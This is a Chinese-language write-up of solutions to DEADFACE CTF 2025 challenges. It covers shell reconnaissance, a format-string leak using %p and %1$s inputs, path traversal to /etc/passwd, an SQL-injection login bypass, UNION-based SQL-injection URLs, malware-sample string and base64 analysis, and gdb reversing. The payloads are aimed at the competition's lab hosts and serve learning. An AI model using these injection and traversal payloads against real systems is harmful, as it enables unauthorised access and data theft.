DEADFACE CTF 2025–部分解题思路

内容分享2天前发布
0 0 0

一、LET ME IN

1、找hostbusters1、hostbusters2

这个题前面这两个比较简单就没有截图



~/tools $ grep -r "deadface" / 2>/dev/null
/home/gh0st404/.ash_history:sh subrecon.sh hostbusters.deadface.io
/home/gh0st404/.ash_history:cd recon_hostbusters.deadface.io/
/home/gh0st404/.ash_history:sh subrecon.sh deadface.io
/home/gh0st404/.ash_history:cd recon_deadface.io/
/home/gh0st404/.ash_history:sh techfinger.sh recon_deadface.io/subs_2025-10-26_0733.txt 
/home/gh0st404/.ash_history:cat techfinger_*.txt | grep "deadface{"
/home/gh0st404/.ash_history:grep -r "deadface" / 2>/dev/null
/home/gh0st404/.dont_forget:deadface{hostbusters2_4685d0c801939781}
/home/gh0st404/notes.txt:deadface{hostbusters1_cf6a12ddf781cfbc}

2、找hostbusters4

DEADFACE CTF 2025--部分解题思路

flag 就在环境变量里



~/tools $ env | grep -i deadface
OLDPWD=/home/gh0st404/tools/recon_deadface.io
flag=deadface{hostbusters4_c6e54afa62741d34}

3、横向移动到用户 
deephax
,并找到他的 shell 环境中的 flag

DEADFACE CTF 2025--部分解题思路

用户 
ghost404
和 
deephax
 在 GhostTown 上聊过


deephax
 的默认 shell 是 
pen-console.py


deephax
 把密码给了 
ghost404



检查历史记录:
~/tools $ cat /home/ghost404/.ash_history
cat: can't open '/home/ghost404/.ash_history': No such file or directory
 
检查当前目录和上级目录:
~/tools $ ls -la /home/ghost404/
ls: /home/ghost404/: No such file or directory
 
当前用户是 gh0st404,不是 ghost404
 
检查当前用户家目录:
~/tools $ ls -la /home/gh0st404/
total 32
drwxr-sr-x    1 gh0st404 gh0st404      4096 Oct 26 06:39 .
drwxr-xr-x    1 root     root          4096 Sep 17 02:04 ..
-rw-------    1 gh0st404 gh0st404      3327 Oct 26 08:02 .ash_history
-rw-r--r--    1 gh0st404 gh0st404       382 Sep 17 02:04 .dont_forget
-rw-r--r--    1 gh0st404 gh0st404      1850 Sep 17 02:04 notes.txt
drwxr-sr-x    1 gh0st404 gh0st404      4096 Oct 26 07:37 tools
 
查看了一下notes.txt、.ash_history、.dont_forget
~/tools $ cat /home/gh0st404/.dont_forget
random junk, don’t lose this file (again)
 
[personal]
Gh0st!v3r$e_404
0nly_Sh4d0w_Kn0ws
n0scopez420!
 
[tools]
- burp:         waf_slayer$$
- metasploit:   c0d3BReaKer!
- vpn (alt):    4sh3s2dust_
 
[misc]
- music:      s1lent_echoes
- github:       b4ckd00rRabb1t
- deephax pen: Fr4gm3ntedSkull!!
 
# note to self: change the pen one (again)
 
deadface{hostbusters2_4685d0c801939781}
 
[misc] 部分有:
- deephax pen: Fr4gm3ntedSkull!!
 
切换为deephax用户登录,查看pen-console.py
/home/deephax $ cat /usr/local/bin/pen-console.py 2>/dev/null
#!/usr/bin/python3
 
import cmd
import os
import hashlib
import base64
import subprocess
from cryptography.fernet import Fernet  # you need this: pip install cryptography
 
flag="deadface{hostbusters5_e16a5c8995620a24}"
 
class DeephaxConsole(cmd.Cmd):
    intro = "YO welcome to deephax’s red team console 🔥 type 'help' for commands or whatever. let’s HAX! 💀"
    prompt = '(deephax)> '
    
    def do_hash(self, arg):
        """hash <string>: gimme a string, i spit hashes back at ya."""
        if not arg:
            print("bruh... gimme sumthin to hash!! 😤")
            return
        print(f"MD5: {hashlib.md5(arg.encode()).hexdigest()}")
        print(f"SHA1: {hashlib.sha1(arg.encode()).hexdigest()}")
        print(f"SHA256: {hashlib.sha256(arg.encode()).hexdigest()}")
    
    def do_encrypt(self, arg):
        """encrypt <message>: encrypts ur message wit Fernet 🔐"""
        if not arg:
            print("what u tryna lock up? type somethin! 🗝️")
            return
        key = Fernet.generate_key()
        cipher = Fernet(key)
        encrypted = cipher.encrypt(arg.encode())
        print(f"here's ur key (DON'T LOSE IT): {key.decode()}")
        print(f"and here’s ur encrypted junk: {encrypted.decode()}")
    
    def do_decrypt(self, arg):
        """decrypt <key> <ciphertext>: unlock secrets 🕵️‍♂️"""
        args = arg.split()
        if len(args) != 2:
            print("use it like: decrypt <key> <ciphertext>")
            return
        try:
            cipher = Fernet(args[0].encode())
            decrypted = cipher.decrypt(args[1].encode()).decode()
            print(f"BOOM decrypted: {decrypted}")
        except Exception as e:
            print(f"that ain’t workin fam 😓 err: {e}")
    
    def do_base64(self, arg):
        """base64 <encode|decode> <data>: 4 all ur b64 nonsense"""
        args = arg.split(maxsplit=1)
        if len(args) != 2:
            print("bruh use it like: base64 <encode|decode> <data>")
            return
        mode, data = args[0], args[1]
        if mode == 'encode':
            print(base64.b64encode(data.encode()).decode())
        elif mode == 'decode':
            try:
                print(base64.b64decode(data.encode()).decode())
            except Exception as e:
                print(f"b64 decode borked: {e}")
        else:
            print("nah man, u gotta say 'encode' or 'decode'. not both. not neither.")
    
    def do_recon(self, arg):
        """recon <ip>: run nmap on an IP 🛰️"""
        if not arg:
            print("yo i need an IP 😑")
            return
        try:
            result = subprocess.run(['nmap', '-sV', arg], capture_output=True, text=True)
            print(result.stdout)
        except FileNotFoundError:
            print("nmap ain't even installed??? WACK.")
        except Exception as e:
            print(f"recon died 😵 err: {e}")
    
    def do_forensics(self, arg):
        """forensics <file>: do sum CSI junk on a file 🔍"""
        if not arg:
            print("what file u want me 2 peek at? 👀")
            return
        if not os.path.exists(arg):
            print("dude... that file don’t even EXIST 💀")
            return
        size = os.path.getsize(arg)
        file_type = subprocess.run(['file', arg], capture_output=True, text=True).stdout.strip()
        with open(arg, 'rb') as f:
            content = f.read()
            sha256 = hashlib.sha256(content).hexdigest()
        print(f"Size: {size} bytes")
        print(f"Type: {file_type}")
        print(f"SHA256: {sha256}")
    
    def do_quit(self, arg):
        """yeet outta this console."""
        print("PEACE OUT - deephax out ✌️")
        return True
 
if __name__ == '__main__':
    DeephaxConsole().cmdloop()

4、Pulse Check

DEADFACE CTF 2025--部分解题思路



检查网络连接及对应进程
~ $ ps auxww
PID   USER     TIME  COMMAND
    1 gh0st404  0:00 /bin/sh
    7 root      0:00 /usr/bin/dfcheckalive
   10 gh0st404  0:00 ps auxww
可疑的进程:7 root      0:00 /usr/bin/dfcheckalive
 
直接查看内容
~ $ cat /usr/bin/dfcheckalive
从 strings 输出中可以看到程序是 DEADFACE 'Alive' Reporter,而且有一个 JSON 输出格式
{"status":"alive","flag":"%s","host":{"hostname":"%s","ip":"%s","disk_gb":%lld,"mem_gb":%lld}}
 
直接运行 /usr/bin/dfcheckalive 看看输出什么
~ $ /usr/bin/dfcheckalive
Starting DEADFACE 'Alive' Reporter (dfcheckalive)...
Sending host status JSON to 127.0.0.1:4343 every 5 seconds.
 
程序正在向 127.0.0.1:4343 发送包含 flag 的 JSON 数据,我们需要监听这个端口来捕获它发送的数据。
后面尝试监听过程中发现是UDP
 
那么流程就是,一个终端运行
nc -u -l -p 4343
 
然后在另一个终端运行
/usr/bin/dfcheckalive
 
即可拿到flag  具体是什么样子的忘了记录了

二、Echo Chamber

1、利用漏洞获取隐藏的 flag

DEADFACE CTF 2025--部分解题思路

首先我尝试使用DEBUG,但是没有触发调试模式,而是被当作普通消息回显了



└─# nc echochamber.deadface.io 13337
DEADFACE Echo Chamber
Enter your message: DEADFACE Echo flag   
Echo: DEADFACE Echo flag
 
接着我尝试输入%DEBUG%、${DEBUG}等等都不行

可能这个服务的漏洞是其他类型的,题目描述:

“It echoes messages without sanitizing input, potentially leaking sensitive data.”

这可能意味着:

格式化字符串漏洞 – 在C语言程序中常见

缓冲区溢出信息泄露 – 通过超长输入泄露栈数据

某种注入导致信息泄露 – 但不是直接命令执行



└─# nc echochamber.deadface.io 13337
DEADFACE Echo Chamber
Enter your message: %p %p %p %p %p %p %p %p
Echo: 0x402000 0x402000 0 0x7fffffff 0 0x7025207025207025 0x2520702520702520 0xa70252070252070
�@

可以看到输出了很多十六进制值,而不是原样显示
%p %p %p...
从输出中我们可以看到内存地址



└─# nc echochamber.deadface.io 13337
DEADFACE Echo Chamber
Enter your message: %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx
Echo: 402000 402000 0 7fffffff 0 20786c2520786c25 20786c2520786c25 20786c2520786c25 20786c2520786c25 20786c2520786c25 20786c2520786c25 20786c2520786c25 20786c2520786c25 20786c2520786c25 20786c2520786c25 20786c2520786c25 20786c2520786c25 20786c2520786c25 20786c2520786c25 a786c2520786c25 0 0 1c 20 1 7ffc9b8f93b8 40119d 7ffc9b8f93c8 0 7ffc9b8f93b0

我们看到了更多有意义的内存数据。在最后几个位置,我们看到了一些不同的值:

... 0 0 1c 20 1 7ffc9b8f93b8 40119d 7ffc9b8f93c8 0 7ffc9b8f93b0

这些看起来像是栈指针、返回地址等。那么尝试读取字符串而不是指针,成功拿到flag



└─# nc echochamber.deadface.io 13337
DEADFACE Echo Chamber
Enter your message: %1$s
Echo: deadface{r3tr0_f0rm4t_l34k_3xp0s3d}

这是一个典型的格式字符串漏洞

程序直接使用用户输入作为 
printf()
 的第一个参数

没有使用安全的 
printf("%s", input)
 格式

导致用户可以通过格式说明符读取栈内存

flag存储在第一个参数位置(可能是环境变量或全局变量)

三、WEB

1、获取交易金额

DEADFACE CTF 2025--部分解题思路

进入页面后查看源码等,可以找到一个重要线索:
/backup/进入后有个
denonne_backup_20251015.sql

这个sql中有完整的用户凭证,使用admin登录拿到交易金额

2、The Source of Our Troubles

DEADFACE CTF 2025--部分解题思路

题目给了zip,里边是一个pdf,从中我们可以知道关键信息:数据库表结构、技术栈提示、安全措施等



payload:?page=../../../../etc/passwd
 
响应
 <main class="container">
                    <section class="hero">
                <h2>Welcome to Night Vale University</h2>
                <p>Where the impossible becomes possible, and the possible becomes mandatory.</p>
                <!-- EASY FLAG: HTML comment -->
                <!-- Congratulations on viewing the source! Here's your flag: deadface{v13w_s0urc3_4lw4ys_f1rst} -->
            </section>

成功拿到flag

3、Hidden Paths

DEADFACE CTF 2025--部分解题思路

“允许网络爬虫访问的目录”通常是通过 
robots.txt
 文件来声明的。

robots.txt
 会告诉爬虫哪些路径可以访问,哪些不能。
DEADFACE 可能利用这个文件发现了隐藏路径,并在那里留下了 flag。

直接访问
robots.txt
 ,成功拿到flag



# Night Vale University - robots.txt
# VULNERABILITY: Information disclosure via robots.txt (Easy)
 
User-agent: *
Disallow: /admin.php
Disallow: /api/
Disallow: /backup/
Disallow: /config/
Disallow: /.git/
Disallow: /secret_files/
 
# Flag: deadface{r0b0ts_txt_r3v34ls_h1dd3n_p4ths}
 
# Development endpoints (should be removed in production)
Disallow: /api/debug.php
Disallow: /phpinfo.php
 
# Sitemap
Sitemap: https://nvu.edu/sitemap.xml

4、Console Chaos

DEADFACE CTF 2025--部分解题思路

既然已经说了“确保 NVU 清理了代码库中的注释”,说明可能在前端代码(HTML、CSS、JavaScript)的注释中留有敏感信息或 flag。

需要检查:

HTML 注释(我们已经找到一个 flag 在首页 HTML 注释中)

JavaScript 文件注释

CSS 文件注释

浏览器控制台输出(可能 JS 会在控制台打印 flag)

经过查看js成功拿到flag



// Console Easter egg (Easy difficulty)
console.log('%cWelcome to Night Vale University Portal', 'color: #ea6fba; font-size: 20px; font-weight: bold;');
console.log('%cDevelopers: Check the Network tab for interesting API endpoints...', 'color: #fcd63e; font-size: 14px;');
console.log('%cFlag for curious developers: deadface{c0ns0l3_l0gs_4r3_y0ur_fr13nd}', 'color: #2c1c5c; background: #fcd63e; padding: 5px; font-size: 12px;');

5、Stick to the Scrip

DEADFACE CTF 2025--部分解题思路

明确指向我们刚才发现的被混淆/编码的代码

在 
script.js
 中,我们看到了这一行:

// ZGVhZGZhY2V7ajR2NHNjcjFwdF9jNG5faDFkM19zM2NyM3RzfQ==

进行base64解码成功即可拿到flag

6、 Pest Control

DEADFACE CTF 2025--部分解题思路

通过读题我们发现这个是关于 API 信息泄露的,我们已有的信息

在 
script.js
 中我们看到了这些 API 相关提示:



const API_CONFIG = {
    endpoint: '/api/v1',
    apiKey: 'NVU_API_K3Y_d34df4c3_2025',
    debug: true
};
 
// Console 中的提示:
console.log('%cTry: /api/debug.php?show=config', ...);
console.log('%cAlso check: /api/search.php?q=test&type=announcements', ...);

在 
robots.txt
 中看到



Disallow: /api/
Disallow: /api/debug.php

那么我们可以直接访问/api/debug.php?show=config



/api/debug.php?show=config
 
{
    "status": "success",
    "message": "Debug configuration retrieved",
    "data": {
        "app_version": "2.1.4",
        "php_version": "8.1.33",
        "server": "Apache/2.4.65 (Debian)",
        "database": {
            "host": "db",
            "name": "nvu_portal",
            "user": "nvu_user"
        },
        "flag": "deadface{4p1_d3bug_3xp0sur3_l34ks}",
        "paths": {
            "root": "/var/www/html",
            "script": "/var/www/html/api/debug.php"
        }
    }
}
 
可以看到flag已经拿到了

7、Access Granted

DEADFACE CTF 2025--部分解题思路

这个就是要求我们通过认证漏洞登录系统,直接上admin' or '1'='1结果直接进去了,登录成功后直接拿到flag

8、Reverse Course

DEADFACE CTF 2025--部分解题思路

要求我们找到已被删除的 Emergency Admin 用户账户的密码,虽然说已经删除但是可能还有痕迹,可能位置:数据库备份文件、日志文件、配置文件、git历史记录、注释或者测试的数据等

先尝试一下直接访问 
/backup/,访问后发现有一个db_backup_20251015.sql,将这个文件直接下载打开后可以看到
('emergency_admin', MD5('EmergencyAccess2025!')这个密码就是flag

9、Not-So-Public Domain

DEADFACE CTF 2025--部分解题思路

要求我们找到被管理员隐藏的公告中的 flag,从pdf中知道
announcements
 表有 
is_hidden
 字段(0=显示,1=隐藏),从数据库备份中有一条 
is_hidden = 1
 的公告,不出意外这应该是个sql注入

经过不断尝试找到注入点search.php?q



构造payload:?q=Welcome%20AND%20(SELECT%20COUNT(*)%20FROM%20announcements%20WHERE%20content%20LIKE%20%27%25flag%25%27)%3E0--&type=announcements
 
响应
{
    "status": "error",
    "message": "Search failed",
    "error": "SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%flag%')>0--%' AND is_hidden = 0' at line 1",
    "debug_info": "Check that your UNION query has the same number of columns as the main query"
}
 
确认了 SQL 注入 - 我们的输入被直接拼接到查询中
 
看到了查询结构 - 查询中有 AND is_hidden = 0 条件
 
看到了语法问题 - 单引号被转义或处理了
 
 
继续构造新的payload:
?q=%27%20UNION%20SELECT%20title,content,author,posted_at%20FROM%20announcements%20WHERE%20is_hidden=1%20--%20&type=announcements
 
响应信息中有
  {
    "title": "Restricted Access Notice",
    "content": "FLAG: deadface{h1dd3n_4nn0unc3m3nts_r3v34l_s3cr3ts}",
    "author": "System Administrator",
    "posted_at": "2025-10-25 18:26:37"
  },
 
成功了

10、Classified

DEADFACE CTF 2025--部分解题思路

要求我们找到分类研究数据中的 flag,已知:
research_projects
 有 
classified
 字段(1=分类,0=非分类)、页面显示有分类研究但需要特殊授权



直接构造payload:
?q=%27%20UNION%20SELECT%20project_name,details,lead_researcher,classified%20FROM%20research_projects%20WHERE%20classified=1%20--%20&type=announcements
 
响应信息中有
{
            "title": "Neural Interface Technology",
            "content": "FLAG: deadface{cl4ss1f13d_r3s34rch_unh4ck4bl3} - Advanced brain-computer interface development with military applications",
            "author": "Dr. Patricia Wong",
            "posted_at": "1"
  },
 
成功拿到flag

后面还有不少题,忙着做题忘了记录了(手动狗头)

三、SQL

这个比较简单我就不啰嗦了,直接上答案

1、Promo Code

DEADFACE CTF 2025--部分解题思路



SELECT COUNT(*) 
FROM customers 
WHERE join_date >= '2025-09-01';

2、5 Stars

DEADFACE CTF 2025--部分解题思路



SELECT p.product_name, AVG(r.rating) as avg_rating
FROM reviews r
JOIN products p ON r.product_id = p.product_id
GROUP BY r.product_id, p.product_name
ORDER BY avg_rating DESC
LIMIT 1;

3、Low Stock

DEADFACE CTF 2025--部分解题思路



SELECT p.product_name, i.facility_id, i.quantity
FROM inventories i
JOIN products p ON i.product_id = p.product_id
WHERE i.quantity < 5
ORDER BY i.quantity ASC
LIMIT 1;

4、Big Spender

DEADFACE CTF 2025--部分解题思路



SELECT 
    c.first_name,
    c.last_name,
    SUM(oi.quantity * p.price) as total_spent
FROM customers c
JOIN orders o ON c.customer_id = o.customer_id
JOIN order_items oi ON o.order_id = oi.order_id
JOIN products p ON oi.product_id = p.product_id
GROUP BY c.customer_id, c.first_name, c.last_name
ORDER BY total_spent DESC
LIMIT 1;

5、Undervalued

DEADFACE CTF 2025--部分解题思路



SELECT e.email
FROM employees e
JOIN employee_assignments ea ON e.employee_id = ea.employee_id
WHERE ea.facility_id = 5
AND e.role = 'IT Manager';

6、Silent Buyers

DEADFACE CTF 2025--部分解题思路



SELECT c.email, COUNT(o.order_id) as order_count
FROM customers c
JOIN orders o ON c.customer_id = o.customer_id
WHERE c.customer_id NOT IN (
    SELECT DISTINCT customer_id 
    FROM reviews
)
GROUP BY c.customer_id, c.email
ORDER BY order_count DESC
LIMIT 1;

7、High Value Targets

DEADFACE CTF 2025--部分解题思路



SELECT SUM(pay_rate) as total_pay
FROM employees
WHERE role IN ('CEO', 'CTO', 'CFO');

四、Trojan Echoes

1、What's the Password?

DEADFACE CTF 2025--部分解题思路

这个就是下载后有一个zip,然后这个zip需要密码,考虑到一般来说ctf的这个密码不会很难,我就用
infected试了一下



└─# 7z x -pinfected Trojan.zip
 
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
 64-bit locale=zh_CN.UTF-8 Threads:32 OPEN_MAX:1024, ASM
 
Scanning the drive for archives:
1 file, 20130 bytes (20 KiB)
 
Extracting archive: Trojan.zip
--
Path = Trojan.zip
Type = zip
Physical Size = 20130
 
Everything is Ok
 
Files: 2
Size:       62207
Compressed: 20130
 
可以确定密码就是infected,解压后有两个文件flag.txt和sample_01E9.exe.exe
 
└─# cat flag.txt    
flag 00 - deadface{Hello_my_friend}
 
成功拿到

2、String Theory

DEADFACE CTF 2025--部分解题思路

flag00在flag.txt中,那么这个flag01应该就是在sample_01E9.exe.exe中



直接查一下
└─# strings sample_01E9.exe.exe | grep -i flag01
 
并没有输出,既然格式为deadface,那么
└─# strings -a -n 6 sample_01E9.exe.exe | grep -i "deadface"
01 - deadface{
 
果然看到了一部分,可能因为换行截断,我们看看上下文
└─# strings -a -n 4 sample_01E9.exe.exe | grep -A2 -B2 "deadface"
D$`L
L$hH
01 - deadface{
We_meet
_again}
 
成功拿到

3、Watch the Birdie

DEADFACE CTF 2025--部分解题思路

前两题中 flag00 在 
flag.txt
,flag01 在程序字符串里,那么这个flag02应该是在更深的地方,比如说:程序的资源段(图片、图标等)、附加在PE文件末尾的数据、程序运行时生成或下载的内容、需要特定条件触发



1、先快速搜字符串后没有发现
└─# strings -a sample_01E9.exe.exe | grep -i "flag02"
 
2、用 binwalk 分析嵌入文件,没有提取出东西,说明没有常见嵌入文件格式
└─# binwalk -e --run-as=root sample_01E9.exe.exe
 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
 
WARNING: One or more files failed to extract: either no utility was found or it's unimplemented

3、检查 PE 资源(图标、图片等),不是标准图标文件
└─# icotool -l sample_01E9.exe.exe
sample_01E9.exe.exe: not an icon or cursor file (reserved non-zero)

4、列出资源,没有标准资源
└─# wrestool -l sample_01E9.exe.exe
wrestool: sample_01E9.exe.exe: file contains no resources

没有标准资源。那 flag02 可能藏在:

PE 文件的证书段

重叠数据(Overlay) —— 在 PE 文件末尾附加的数据

需要运行时才解密显示

在程序的某个特定状态触发(比如输入特定命令)

5、检查重叠数据,没有重叠数据。
└─# rabin2 -n sample_01E9.exe.exe | grep -i overlay

6、用 radare2 全面分析
└─# r2 sample_01E9.exe.exe
WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
[0x004014e0]> iz~deadface
0   0x00003000 0x00405000 14  15   .rdata  ascii 01 - deadface{
[0x004014e0]>

7、用 hex 模式查看并手动拼接,在 0x405050 附近有一些看起来像 base64 的字符串:aWxl.bl9h.dHNf.LSBk
[0x004014e0]> px 100 @ 0x00405000
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00405000  3031 202d 2064 6561 6466 6163 657b 0057  01 - deadface{.W                                                                           
0x00405010  655f 6d65 6574 005f 6167 6169 6e7d 0059  e_meet._again}.Y
0x00405020  6f75 2077 616e 7465 6420 7468 6973 2074  ou wanted this t
0x00405030  6f20 6265 2065 6173 793f 0055 5345 5250  o be easy?.USERP
0x00405040  524f 4649 4c45 005c 666c 6167 2e74 7874  ROFILE.flag.txt
0x00405050  0061 5778 6c00 626c 3968 0064 484e 6600  .aWxl.bl9h.dHNf.
0x00405060  4c53 426b                                LSBk
[0x004014e0]>

8、找入口点,入口点:AddressOfEntryPoint : 0x14e0
[0x004014e0]> iH   //这里内容太多我就不粘过来了

9、查看调用这些字符串的函数,找到了主函数
[0x004014e0]> pd 50 @ 0x4014e0

10、继续查看主函数的代码,不断查看主函数代码,看程序如何拼接这些片段,从代码可以看到它使用 strcat 来拼接这些 base64 字符串
[0x004014e0]> pd 100 @ 0x401550
[0x004014e0]> pd 50 @ 0x4017a0

11、从代码可以看到拼接顺序是:

MDIg (0x40507e) - 02

LSBk (0x405060) - d

ZWFk (0x40506f) - ead

ZmFj (0x405065) - fac

ZXtJ (0x40506a) - e{I

dHNf (0x40505b) - ts_

YmVl (0x405074) - bee

bl9h (0x405056) - n_a

X3do (0x405079) - _wh

aWxl (0x405051) - ile

fQ== (0x405083) - }

按程序中的顺序拼接这些 base64 字符串:
MDIgLSBkZWFkZmFjZXtJdHNfYmVlbl9hX3doaWxl

12、解码
└─# echo "MDIgLSBkZWFkZmFjZXtJdHNfYmVlbl9hX3doaWxl" | base64 -d
02 - deadface{Its_been_a_while

成功拿到flag

4、Lingering Shadow

DEADFACE CTF 2025--部分解题思路

从之前的分析中,我们看到有两组 base64 片段,第一组是flag02,那么很有可能这个第二组就是flag03



查看程序如何处理第二组 base64 片段
[0x004014e0]> pd 50 @ 0x4017a0
 
第二组片段的拼接顺序
从代码 0x401b19 到 0x401c1c,拼接顺序是:
 
MDMg (0x4050da) - 03
 
LSBk (0x405060) - d (重用第一组的)
 
ZWFk (0x40506f) - ead (重用第一组的)
 
ZmFj (0x405065) - fac (重用第一组的)
 
ZXtX (0x4050c1) - e{W
 
aGVy (0x4050bc) - her
 
ZV9z (0x4050c6) - e_s
 
aG91 (0x4050b7) - hou
 
bGRf (0x4050d5) - ld_
 
d2Vf (0x4050cb) - we_
 
YmVn (0x4050d0) - beg
 
aW59 (0x4050df) - in}
 
按程序中的顺序拼接:
MDMgLSBkZWFkZmFjZXtXaGVyZV9zaG91bGRfd2VfYmVnaW59
 
进行解码
└─# echo "MDMgLSBkZWFkZmFjZXtXaGVyZV9zaG91bGRfd2VfYmVnaW59" | base64 -d
03 - deadface{Where_should_we_begin}    
 
成功拿到flag03

5、The Call From Beyond

DEADFACE CTF 2025--部分解题思路

通过前面的做题,这个flag04可能还在程序的后边,继续查看



看主函数后面还有什么代码
[0x004014e0]> pd 100 @ 0x401c6c
可以看到程序在处理一系列十六进制编码的字符串(如 /4c/53, /5a/58 等)。
从代码中可以看到拼接顺序:
 
/4d/44 = 4d 44 = M D (ASCII)
 
/51/67 = 51 67 = Q g
 
/4c/53 = 4c 53 = L S
 
/42/6b = 42 6b = B k
 
/5a/57 = 5a 57 = Z W
 
/46/6b = 46 6b = F k
 
/5a/6d = 5a 6d = Z m
 
/46/6a = 46 6a = F j
 
/5a/58 = 5a 58 = Z X
 
/74/47 = 74 47 = t G
 
/5a/57 = 5a 57 = Z W
 
/56/73 = 56 73 = V s
 
/63/31 = 63 31 = c 1
 
按代码中的顺序拼接这些十六进制值:
4d44514c53426b5a57466b5a6d466a5a5874475a5756736331
 
进行解码
└─# echo "4d44514c53426b5a57466b5a6d466a5a5874475a5756736331" | xxd -r -p
MDQLSBkZWFkZmFjZXtGZWVsc1 
 
看起来像是base64,继续解码
└─# echo "MDQLSBkZWFkZmFjZXtGZWVsc1" | base64 -d
04
  HXY�X�^љY[base64: 无效的输入
 
解码失败,说明字符串不完整或者格式不对,继续查看程序代码看看是否后边还有拼接
[0x004014e0]> pd 100 @ 0x401ecc
从代码中可以看到完整的拼接顺序:
 
/4d/44 = 4d 44 = M D
 
/51/67 = 51 67 = Q g
 
/4c/53 = 4c 53 = L S
 
/42/6b = 42 6b = B k
 
/5a/57 = 5a 57 = Z W
 
/46/6b = 46 6b = F k
 
/5a/6d = 5a 6d = Z m
 
/46/6a = 46 6a = F j
 
/5a/58 = 5a 58 = Z X
 
/74/47 = 74 47 = t G
 
/5a/57 = 5a 57 = Z W
 
/56/73 = 56 73 = V s
 
/63/31 = 63 31 = c 1
 
/39/73 = 39 73 = 9 s
 
/61/57 = 61 57 = a W
 
/74/6c = 74 6c = t l
 
/58/32 = 58 32 = X 2
 
/5a/76 = 5a 76 = Z v
 
/63/6d = 63 6d = c m
 
/56/32 = 56 32 = V 2
 
/5a/58 = 5a 58 = Z X
 
/4a/39 = 4a 39 = J 9
 
按顺序拼接所有十六进制值:
4d44514c53426b5a57466b5a6d466a5a5874475a575673633139736157746c58325a76636d56325a584a39
 
解码
└─# echo "4d44514c53426b5a57466b5a6d466a5a5874475a575673633139736157746c58325a76636d56325a584a39" | xxd -r -p
MDQLSBkZWFkZmFjZXtGZWVsc19saWtlX2ZvcmV2ZXJ9 
 
我们得到了完整的 base64 字符串:MDQLSBkZWFkZmFjZXtGZWVsc19saWtlX2ZvcmV2ZXJ9
 
继续解码
└─# echo "MDQLSBkZWFkZmFjZXtGZWVsc19saWtlX2ZvcmV2ZXJ9" | base64 -d
04
  HXY�X�^љY[��▒Z�Wٛܙ]��base64: 无效的输入
 
base64 解码有问题,仔细看一下这个字符串,MDQL 解码为 04 + 一些乱码,后面 ZWFkZmFjZXtG 看起来像 deadface{F
 
尝试一下提取字符串中可以看到明显的模式:ZWFkZmFjZXtGZWVsc19saWtlX2ZvcmV2ZXJ9,解码试一下
└─# echo "ZWFkZmFjZXtGZWVsc19saWtlX2ZvcmV2ZXJ9" | base64 -d
eadface{Feels_like_forever}  
 
成功拿到flag04

五、Reversering

1、ck01-2025-rev03.bin

题目忘了截图了,给了一个ck01-2025-rev03.bin文件,要求是拿到目标的md5进行解码,我是用gdb进行的调试



在MD5比较断点处,确认目标MD5的具体字节值
(gdb) del
Delete all breakpoints, watchpoints, tracepoints, and catchpoints? (y or n) y
(gdb) break *0x5555555553bf   # MD5比较点
Breakpoint 4 at 0x5555555553bf
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kali/Desktop/ck01-2025-rev03.bin 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
This year, AI moguls are asking their LLMs which spooky cereal is best!
Mr. Sam Altman. has a favorite spooky cereal.  Tear apart this
binary and see if you can figure out what it is!
 
 
Please enter the password: AAAAA
 
Breakpoint 4, 0x00005555555553bf in main ()  # 程序会在比较点停止,接着检查目标MD5
(gdb) x/16xb $rsp+0xb0  
0x7fffffffdb60: 0xae    0xe1    0xee    0x52    0x62    0x75    0x7c    0xf6
0x7fffffffdb68: 0x7b    0x61    0x9f    0xf6    0x3e    0x96    0x72    0xb6
(gdb) x/16xb $rsp+0xa0
0x7fffffffdb50: 0xf6    0xa6    0x26    0x31    0x67    0xc9    0x2d    0xe8
0x7fffffffdb58: 0x64    0x4a    0xc9    0x98    0xb3    0xc4    0xe4    0xd1
(gdb)
 
目标MD5值:aee1ee5262757cf67b619ff63e9672b6
 
破解这个md5即可得到flag
peanutbuttercrunch

2、reverse_2

这个也是给了程序reverse_2,程序运行啥的忘了记录了



└─# gdb ./reverse_2                          
GNU gdb (Debian 16.3-5) 16.3
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.
 
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./reverse_2...
(No debugging symbols found in ./reverse_2)
(gdb) b main
Breakpoint 1 at 0x400781
(gdb) run
Starting program: /home/kali/Desktop/reverse_2 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
 
Breakpoint 1, 0x0000000000400781 in main ()
(gdb) c
Continuing.
[Detaching after fork from child process 1510]
input the flag:1
wrong flag!
input the flag:1
wrong flag!
[Inferior 1 (process 1507) exited with code 014]
(gdb) del
Delete all breakpoints, watchpoints, tracepoints, and catchpoints? (y or n) y
(gdb) b strcmp
Breakpoint 2 at gnu-indirect-function resolver at 0x7ffff7e593f0
(gdb) run
Starting program: /home/kali/Desktop/reverse_2 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Detaching after fork from child process 1512]
input the flag:1
wrong flag!
input the flag:2
 
Breakpoint 2, 0x00007ffff7f33d50 in ?? () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) x/s $rsi
0x7fffffffe070: "2"
(gdb) x/s $rdi 
0x601080 <flag>:        "{hacking_for_fun}"
(gdb) x/s $rsi  
0x7fffffffe070: "2"

我当时看到了
{hacking_for_fun},结果提交之后发现不对,应该是子程序或是什么进行了更改



看 main 函数的汇编代码
(gdb) disas main
